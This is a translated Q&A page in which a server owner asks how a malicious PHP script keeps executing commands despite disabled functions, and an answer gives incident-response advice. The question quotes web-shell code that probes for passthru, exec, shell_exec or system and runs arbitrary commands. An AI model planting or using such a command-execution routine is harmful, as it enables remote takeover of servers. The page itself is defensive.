php 函数被禁用,但不知何故可以执行

php 函数被禁用,但不知何故可以执行

今天我的服务器出现了一个问题,我发现攻击者可以利用恶意代码来访问我的系统。我已经下载了那个 php 脚本,但奇怪的是,我发现我的 php 配置中禁用了某些函数。

禁用的是:passthru、exec、shell_exec、system....等等

这怎么可能呢?

这是代码的一部分

function get_execution_method()
{
 if(function_exists('passthru')){ $m = "passthru"; }
 if(function_exists('exec')){ $m = "exec"; }
 if(function_exists('shell_exec')){ $m = "shell_ exec"; }
 if(function_exists('system')){ $m = "system"; }
 if(!isset($m)) //No method found :-|
 {
  $m = "Disabled";
 }
 return($m);
}
function execute_command($method,$command)
{
 if($method == "passthru")
 {
  passthru($command);
 }

 elseif($method == "exec")
 {
  exec($command,$result);
  foreach($result as $output)
  {
   print $output."<br>";
  }
 }

 elseif($method == "shell_exec")
 {
  print shell_exec($command);
 }

 elseif($method == "system")
 {
  system($command);
 }
}
function perm($file)
{
 if(file_exists($file))
 {
  return substr(sprintf('%o', fileperms($file)), -4);
 }
 else
 {
  return "????";
 }
}

为了确保没有遗留问题,我已将该脚本复制到新帐户,除了我之外,没有人可以访问该帐户。没有 htaccess 文件或 php.ini。脚本仍可在该帐户上运行。我已创建 phpinfo 文件来查看该文件的 php 配置,以下是禁用的功能。

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen

如您所见,该脚本中使用的列出的函数位于禁用的函数内。

当我尝试运行某些已禁用的功能时,我收到消息

Warning: system() has been disabled for security reasons in /home/user....

为了确保万无一失,我已将该脚本上传到不同的服务器,结果相同。该服务器也禁用了相同的功能。

我怎样才能防止他人访问我的文件?

答案1

您可能查看了错误的 php.ini。通过在恶意代码所在的同一文件夹中创建包含以下内容的 test.php 并导航到该文件,确认这些功能已被禁用。检查 disable_functions 并确认它们已被禁用。

<?php

phpinfo();

?>

Linux 上的大部分 Apache 安装都支持多种执行 php 代码的方式,请使用以下命令检查系统范围内的所有 php.ini 上的 disable_functions:

grep -rn disable_functions /etc/php*/

还请检查 /var/www 中的任何 php.ini 和 .htaccess。

检查 vhosts 日志、apache 日志、系统日志。

根据系统受到的侵害程度,您甚至可能无法看到服务生产中实际的配置文件。

编辑:阅读完您的进一步评论后,我必须假设您的系统已严重受损,您应该(或者,换作我,我会)停止浪费时间并重新安装系统/从备份中恢复。请认真考虑您网站上的许多文件可能也受到了损害。从备份不要将文件从受感染的系统带到新的生产环境。

相关内容